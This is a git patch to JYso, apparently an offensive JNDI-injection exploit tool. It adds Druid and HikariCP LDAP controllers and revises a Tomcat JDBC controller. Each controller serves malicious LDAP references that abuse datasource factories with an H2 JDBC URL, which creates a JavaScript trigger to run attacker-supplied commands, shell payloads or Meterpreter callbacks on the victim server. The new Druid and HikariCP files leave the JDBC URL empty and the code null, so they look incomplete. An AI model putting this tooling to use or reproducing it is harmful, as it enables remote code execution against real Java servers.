From e053c403e92c9c0b0fec1749e9c9b5a159777ec6 Mon Sep 17 00:00:00 2001 From: qi4l Date: Thu, 31 Oct 2024 20:53:30 +0800 Subject: [PATCH] fix: tomcatjdbc --- build.gradle | 2 +- .../JYso/controllers/DruidController.java | 125 ++++++++++++++++++ .../JYso/controllers/HikariCPController.java | 118 +++++++++++++++++ .../controllers/TomcatJdbcController.java | 23 +--- 4 files changed, 250 insertions(+), 18 deletions(-) create mode 100644 src/main/java/com/qi4l/JYso/controllers/DruidController.java create mode 100644 src/main/java/com/qi4l/JYso/controllers/HikariCPController.java diff --git a/build.gradle b/build.gradle index 60547b1..b96f021 100644 --- a/build.gradle +++ b/build.gradle @@ -106,7 +106,7 @@ dependencies { } group = 'org.example' -version = '1.3.4' +version = '1.3.5' description = 'JYso' java.sourceCompatibility = JavaVersion.VERSION_1_8 diff --git a/src/main/java/com/qi4l/JYso/controllers/DruidController.java b/src/main/java/com/qi4l/JYso/controllers/DruidController.java new file mode 100644 index 0000000..b57887f --- /dev/null +++ b/src/main/java/com/qi4l/JYso/controllers/DruidController.java @@ -0,0 +1,125 @@ +package com.qi4l.JYso.controllers; + +import com.qi4l.JYso.enumtypes.GadgetType; +import com.qi4l.JYso.exceptions.IncorrectParamsException; +import com.qi4l.JYso.exceptions.UnSupportedActionTypeException; +import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException; +import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; +import com.qi4l.JYso.gadgets.Config.Config; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.InjShell; +import com.qi4l.JYso.gadgets.utils.Util; +import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler; +import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; +import com.unboundid.ldap.sdk.Entry; +import com.unboundid.ldap.sdk.LDAPResult; +import com.unboundid.ldap.sdk.ResultCode; + +import javax.naming.Reference; +import javax.naming.StringRefAddr; +import java.io.IOException; +import java.lang.reflect.Field; + +import static org.fusesource.jansi.Ansi.ansi; + +@LdapMapping(uri = {"/druid"}) +public class DruidController implements LdapController{ + private String payloadType; + + private String factoryType; + private String[] params; + private GadgetType gadgetType; + + @Override + public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { + try { + System.out.println(ansi().render("@|green [+] Sending LDAP ResourceRef result for|@" + base + " @|green with javax.el.ELProcessor payload|@")); + System.out.println("-------------------------------------- JNDI Local Refenrence Links --------------------------------------"); + + Entry e = new Entry(base); + Reference ref = new Reference("javax.sql.DataSource", "com.alibaba.druid.pool.DruidDataSourceFactory", null); + String code = null; + + + String JDBC_URL = ""; + String JDBC_URL1 = JDBC_URL.replace("{replacement}", code); + ref.add(new StringRefAddr("driverClassName", "org.h2.Driver")); + ref.add(new StringRefAddr("url", JDBC_URL1)); + ref.add(new StringRefAddr("initialSize", "1")); + ref.add(new StringRefAddr("init", "true")); + e.addAttribute("javaClassName", "java.lang.String"); + e.addAttribute("javaSerializedData", Util.serialize(ref)); + result.sendSearchEntry(e); + result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); + } catch (Throwable er) { + System.err.println("Error while generating or serializing payload"); + er.printStackTrace(); + } + } + + @Override + public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { + try { + base = base.replace('\\', '/'); + int fistIndex = base.indexOf("/"); + int secondIndex = base.indexOf("/", fistIndex + 1); + if (secondIndex < 0) secondIndex = base.length(); + + try { + payloadType = base.substring(fistIndex + 1, secondIndex); + System.out.println(ansi().render("@|green [+] PaylaodType : |@" + payloadType)); + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex)); + } + + int thirdIndex = base.indexOf("/", secondIndex + 1); + if (thirdIndex < 0) thirdIndex = base.length(); + + try { + factoryType = base.substring(secondIndex + 1, thirdIndex); + System.out.println(ansi().render("@|green [+] FactoryType : |@" + factoryType)); + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex)); + } + + int fourthIndex = base.indexOf("/", thirdIndex + 1); + + if (fourthIndex != -1) { + if (fourthIndex < 0) fourthIndex = base.length(); + try { + gadgetType = GadgetType.valueOf(base.substring(thirdIndex + 1, fourthIndex).toLowerCase()); + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(thirdIndex + 1, fourthIndex)); + } + } + + if (gadgetType == GadgetType.base64) { + String cmd = Util.getCmdFromBase(base); + System.out.println(ansi().render("@|green [+] Command : |@" + cmd)); + params = new String[]{cmd}; + } + + if (gadgetType == GadgetType.shell) { + String cmd1 = Util.getCmdFromBase(base); + byte[] decodedBytes = Util.base64Decode(cmd1); + String cmd = new String(decodedBytes); + String[] cmdArray = cmd.split(" "); + System.out.println(ansi().render("@|green [+] Command : |@" + cmd)); + params = cmdArray; + } + + if (gadgetType == GadgetType.msf) { + String[] results1 = Util.getIPAndPortFromBase(base); + Config.rhost = results1[0]; + Config.rport = results1[1]; + System.out.println("[+] RemotHost: " + results1[0]); + System.out.println("[+] RemotPort: " + results1[1]); + params = results1; + } + } catch (Exception e) { + if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; + + throw new IncorrectParamsException("Incorrect params: " + base); + } + } +} diff --git a/src/main/java/com/qi4l/JYso/controllers/HikariCPController.java b/src/main/java/com/qi4l/JYso/controllers/HikariCPController.java new file mode 100644 index 0000000..b7e3124 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/controllers/HikariCPController.java @@ -0,0 +1,118 @@ +package com.qi4l.JYso.controllers; + +import com.qi4l.JYso.enumtypes.GadgetType; +import com.qi4l.JYso.exceptions.IncorrectParamsException; +import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; +import com.qi4l.JYso.gadgets.Config.Config; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.InjShell; +import com.qi4l.JYso.gadgets.utils.Util; +import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler; +import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; +import com.unboundid.ldap.sdk.Entry; +import com.unboundid.ldap.sdk.LDAPResult; +import com.unboundid.ldap.sdk.ResultCode; + +import javax.naming.Reference; +import javax.naming.StringRefAddr; + +import static org.fusesource.jansi.Ansi.ansi; + +@LdapMapping(uri = {"/hikaricp"}) +public class HikariCPController implements LdapController{ + private String payloadType; + + private String factoryType; + private String[] params; + private GadgetType gadgetType; + + @Override + public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { + try { + System.out.println(ansi().render("@|green [+] Sending LDAP ResourceRef result for|@" + base + " @|green with javax.el.ELProcessor payload|@")); + System.out.println("-------------------------------------- JNDI Local Refenrence Links --------------------------------------"); + + Entry e = new Entry(base); + Reference ref = new Reference("javax.sql.DataSource", "com.zaxxer.hikari.HikariJNDIFactory", null); + String code = null; + + String JDBC_URL = ""; + String JDBC_URL1 = JDBC_URL.replace("{replacement}", code); + ref.add(new StringRefAddr("driverClassName", "org.h2.Driver")); + ref.add(new StringRefAddr("jdbcUrl", JDBC_URL1)); + e.addAttribute("javaClassName", "java.lang.String"); + e.addAttribute("javaSerializedData", Util.serialize(ref)); + result.sendSearchEntry(e); + result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); + } catch (Throwable er) { + System.err.println("Error while generating or serializing payload"); + er.printStackTrace(); + } + } + + @Override + public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { + try { + base = base.replace('\\', '/'); + int fistIndex = base.indexOf("/"); + int secondIndex = base.indexOf("/", fistIndex + 1); + if (secondIndex < 0) secondIndex = base.length(); + + try { + payloadType = base.substring(fistIndex + 1, secondIndex); + System.out.println(ansi().render("@|green [+] PaylaodType : |@" + payloadType)); + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex)); + } + + int thirdIndex = base.indexOf("/", secondIndex + 1); + if (thirdIndex < 0) thirdIndex = base.length(); + + try { + factoryType = base.substring(secondIndex + 1, thirdIndex); + System.out.println(ansi().render("@|green [+] FactoryType : |@" + factoryType)); + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex)); + } + + int fourthIndex = base.indexOf("/", thirdIndex + 1); + + if (fourthIndex != -1) { + if (fourthIndex < 0) fourthIndex = base.length(); + try { + gadgetType = GadgetType.valueOf(base.substring(thirdIndex + 1, fourthIndex).toLowerCase()); + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(thirdIndex + 1, fourthIndex)); + } + } + + if (gadgetType == GadgetType.base64) { + String cmd = Util.getCmdFromBase(base); + System.out.println(ansi().render("@|green [+] Command : |@" + cmd)); + params = new String[]{cmd}; + } + + if (gadgetType == GadgetType.shell) { + String cmd1 = Util.getCmdFromBase(base); + byte[] decodedBytes = Util.base64Decode(cmd1); + String cmd = new String(decodedBytes); + String[] cmdArray = cmd.split(" "); + System.out.println(ansi().render("@|green [+] Command : |@" + cmd)); + params = cmdArray; + } + + if (gadgetType == GadgetType.msf) { + String[] results1 = Util.getIPAndPortFromBase(base); + Config.rhost = results1[0]; + Config.rport = results1[1]; + System.out.println("[+] RemotHost: " + results1[0]); + System.out.println("[+] RemotPort: " + results1[1]); + params = results1; + } + } catch (Exception e) { + if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; + + throw new IncorrectParamsException("Incorrect params: " + base); + } + } +} diff --git a/src/main/java/com/qi4l/JYso/controllers/TomcatJdbcController.java b/src/main/java/com/qi4l/JYso/controllers/TomcatJdbcController.java index 80c8dea..ca264f6 100644 --- a/src/main/java/com/qi4l/JYso/controllers/TomcatJdbcController.java +++ b/src/main/java/com/qi4l/JYso/controllers/TomcatJdbcController.java @@ -23,7 +23,7 @@ import static org.fusesource.jansi.Ansi.ansi; @LdapMapping(uri = {"/tomcatjdbc"}) public class TomcatJdbcController implements LdapController { - private String payloadType; + private String payloadType; private String factoryType; private String[] params; @@ -35,13 +35,6 @@ public class TomcatJdbcController implements LdapController { System.out.println(ansi().render("@|green [+] Sending LDAP ResourceRef result for|@" + base + " @|green with javax.el.ELProcessor payload|@")); System.out.println("-------------------------------------- JNDI Local Refenrence Links --------------------------------------"); - // create a TeraDataSource object, holding our JDBC string - // org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory - // org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory - // org.apache.commons.dbcp2.BasicDataSourceFactory - // org.apache.commons.dbcp.BasicDataSourceFactory - // com.alibaba.druid.pool.DruidDataSourceFactory - // org.apache.tomcat.jdbc.pool.DataSourceFactory Entry e = new Entry(base); Reference ref = new Reference("javax.sql.DataSource", factoryType, null); TomcatJdbcController.TomcatBypassHelper helper = new TomcatJdbcController.TomcatBypassHelper(); @@ -67,16 +60,12 @@ public class TomcatJdbcController implements LdapController { code = helper.injectMeterpreter(); } - String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" + - "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" + - "{replacement}\n" + - "$$\n"; + String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER test BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS '//javascript\n{replacement}'"; + String JDBC_URL1 = JDBC_URL.replace("{replacement}", code); - ref.add(new StringRefAddr("driverClassName","org.h2.Driver")); - ref.add(new StringRefAddr("url",JDBC_URL1)); - ref.add(new StringRefAddr("username","root")); - ref.add(new StringRefAddr("password","password")); - ref.add(new StringRefAddr("initialSize","1")); + ref.add(new StringRefAddr("driverClassName", "org.h2.Driver")); + ref.add(new StringRefAddr("url", JDBC_URL1)); + ref.add(new StringRefAddr("initialSize", "1")); e.addAttribute("javaClassName", "java.lang.String"); e.addAttribute("javaSerializedData", Util.serialize(ref)); result.sendSearchEntry(e);